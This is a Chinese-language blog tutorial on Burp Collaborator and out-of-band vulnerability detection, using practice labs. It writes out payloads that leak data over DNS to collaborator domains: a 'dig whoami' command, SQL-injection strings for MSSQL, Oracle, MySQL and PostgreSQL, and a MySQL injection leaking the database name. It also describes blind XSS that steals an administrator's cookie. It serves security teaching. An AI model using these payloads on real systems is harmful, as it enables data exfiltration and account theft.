Burp Collaborator
什么是Burp Collaborator?
Burp Collaborator 是 OAST的产物,它可以帮你实现对响应不可见和异步的一个漏洞检测。
目前 Burp 发布的新版本中默认携带了 Burp Collaborator 模块
Burp Collaborator 原理
Burp Collaborator 模型 参考上文带外攻击模型
Burp Collaborator 有自己专用域名 burpcollaborator.net,类似于ceye平台,有一个权威DNS服务器,用户使用Collaborator模块时会给每一个用户会分配一个二级域名。
Burp Collaborator 配置
Burp Collaborator 只是一个客户端,我们可以使用 Burp 给我们配置的默认带外服务器,也可以使用自己私有的服务器。
Burp Collaborator 配置
可以选择使用默认的配置 外带服务器,也可以自己设置外带服务器
点击 Run health check
可以测试外带服务器服务是否正常
Burp Collaborator 使用
打开 Collaborator 客户端
使用 Client
使用 dig 查询 域名
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" cid="n53" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; display: block; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); position: relative !important; border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;" lang="">dig whoami
.7jr9gk6gtnstix33jp6181eu2l8cw1.burpcollaborator.net</pre>
查看Client
返回的日志
可见,我们通过dig 查看DNS记录的方式,将whoami的命令携带发送到服务器。
Burp Collaborator 应用
使用Burp 提供的靶场,来介绍 Burp Collaborator的用法
工作原理
Burp Collaborator 生成唯一的域名,将它们以有效负载的形式发送到应用程序,并监视与这些域的任何交互。如果观察到来自应用程序的传入请求,那么就可以检测到对应的漏洞。
检测外部服务交互(SSRF)
SSRF : 服务器在加载外部URL时,没有进行严格的过滤,导致用户可以请求或者绕过过滤请求其他域资源或者对服务器所在内网进行未授权访问。
检测过程
应用程序通过获取URL的内容的操作,拿到我们提供的有效载荷,并以不安全的方式执行,
根据我们的有效载荷,
它将首先对随机子域执行 DNS 查找,然后执行 HTTP 请求。
Collaborator 服务器接 DNS 查找和 HTTP 请求,两种交互都包含 Brup 放入 Collaborator 的随机数据。
Burp 轮询 Collaborator 服务器并询问 “你收到我的有效负载的任何交互了吗?”,然后 Collaborator 返回交互详细信息。
Burp 在将交互信息返回到 Client 。
Burp靶场 -盲SSRF
将Burp Collaborator Client 的获取的域名 添加HTTP请求的 Referer位置 等待几秒 然后点击poll now 会看到应用程序启动的DNS 和HTTP交互
SQLi靶场 - DNSLog-SQL注入
SQL注入:用户输入的参数拼接到SQL语句中被执行,当输入的参数可控时,可以通过参数获取其他用户的数据。
常见数据库外带语法
MSSQL:
declare @p varchar(1024);set @p=(select 查询语句);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
Oracle:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
MySQL:
select LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
PostgreSQL:
create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net'''; execute c; END; $$ language plpgsql security definer; SELECT f();
我这里使用 sqli 的靶场演示一下利用 burp Collaborator 实现DNSLog注入
前提条件:secure_file_priv
为空,(如果非空,只能读取对应目录下的文件)
select 1,2,LOAD_FILE(concat('\\\\',database(),'~','xwxb0b0bnpm5bnjbo19apeivpmvfj4.burpcollaborator.net\\a')) --+
Burp靶场 - XSS 盲打cookie
跨站点脚本(也称为 XSS)是一种 Web 安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同的网站相互隔离。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害者用户在应用程序中具有特权访问权限,那么攻击者可能能够完全控制应用程序的所有功能和数据。
在 xss payload 中,添加自己burp collaborator 生成的域名
等待 管理员查看评论即可触发 xss payload 实现对cookie 的获取
Burp靶场 - 带外命令注入
操作系统命令注入(也称为 shell 注入)是一种 Web 安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统 (OS) 命令,并且通常会完全破坏应用程序及其所有数据。很多时候,攻击者可以利用操作系统命令注入漏洞来破坏托管基础设施的其他部分,利用信任关系将攻击转向组织内的其他系统。
总结
还有更多用法,期待大家去发现,
一个小tips:多去看看官方文档,会发现更多神奇的用法。
关注我 ,更多技术先发于公众号